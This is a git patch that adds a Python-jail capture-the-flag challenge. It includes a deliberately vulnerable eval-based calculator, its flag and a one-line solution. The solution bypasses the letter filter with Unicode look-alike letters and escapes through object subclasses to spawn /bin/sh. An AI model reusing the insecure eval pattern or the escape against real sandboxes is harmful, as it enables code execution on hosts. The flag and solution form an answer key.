From bc189fd0b28b106d9548e54eeeac4bae80e7fdd5 Mon Sep 17 00:00:00 2001 From: garulf Date: Tue, 3 Dec 2024 14:23:50 +0100 Subject: [PATCH] chals: add __calc__ --- calc/Dockerfile | 6 ++++++ calc/flag.txt | 1 + calc/jail.py | 14 ++++++++++++++ calc/sol | 1 + 4 files changed, 22 insertions(+) create mode 100644 calc/Dockerfile create mode 100644 calc/flag.txt create mode 100755 calc/jail.py create mode 100644 calc/sol diff --git a/calc/Dockerfile b/calc/Dockerfile new file mode 100644 index 0000000..69cf6de --- /dev/null +++ b/calc/Dockerfile @@ -0,0 +1,6 @@ +FROM pwn.red/jail +COPY --from=python@sha256:bc78d3c007f86dbb87d711b8b082d9d564b8025487e780d24ccb8581d83ef8b0 / /srv +COPY jail.py /srv/app/run +COPY flag.txt /srv/app/flag.txt + +ENV JAIL_PORT=1338 diff --git a/calc/flag.txt b/calc/flag.txt new file mode 100644 index 0000000..11b0131 --- /dev/null +++ b/calc/flag.txt @@ -0,0 +1 @@ +HoD2024{Styl3_and_R3fl3ct10n} diff --git a/calc/jail.py b/calc/jail.py new file mode 100755 index 0000000..20ee5dc --- /dev/null +++ b/calc/jail.py @@ -0,0 +1,14 @@ +#!/usr/bin/python3 +# py calc +alphanumeric = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" + +while True: + payload = input("I'll crunch your number, not letters!\n") + if (any(c in alphanumeric for c in payload)): + print("NO!") + continue + try: + print(eval(payload, {'__builtins__': {}}, {})) + except Exception as e: + print("something went wrong") + print(e.__class__) diff --git a/calc/sol b/calc/sol new file mode 100644 index 0000000..edb57ac --- /dev/null +++ b/calc/sol @@ -0,0 +1 @@ +().__𝘤𝘭𝘢𝘴𝘴__.__𝘮𝘳𝘰__[1].__𝘴𝘶𝘣𝘤𝘭𝘢𝘴𝘴𝘦𝘴__()[-5].__𝘪𝘯𝘪𝘵__.__𝘨𝘭𝘰𝘣𝘢𝘭𝘴__["\163\171\163\164\145\155"]("\57\142\151\156\57\163\150")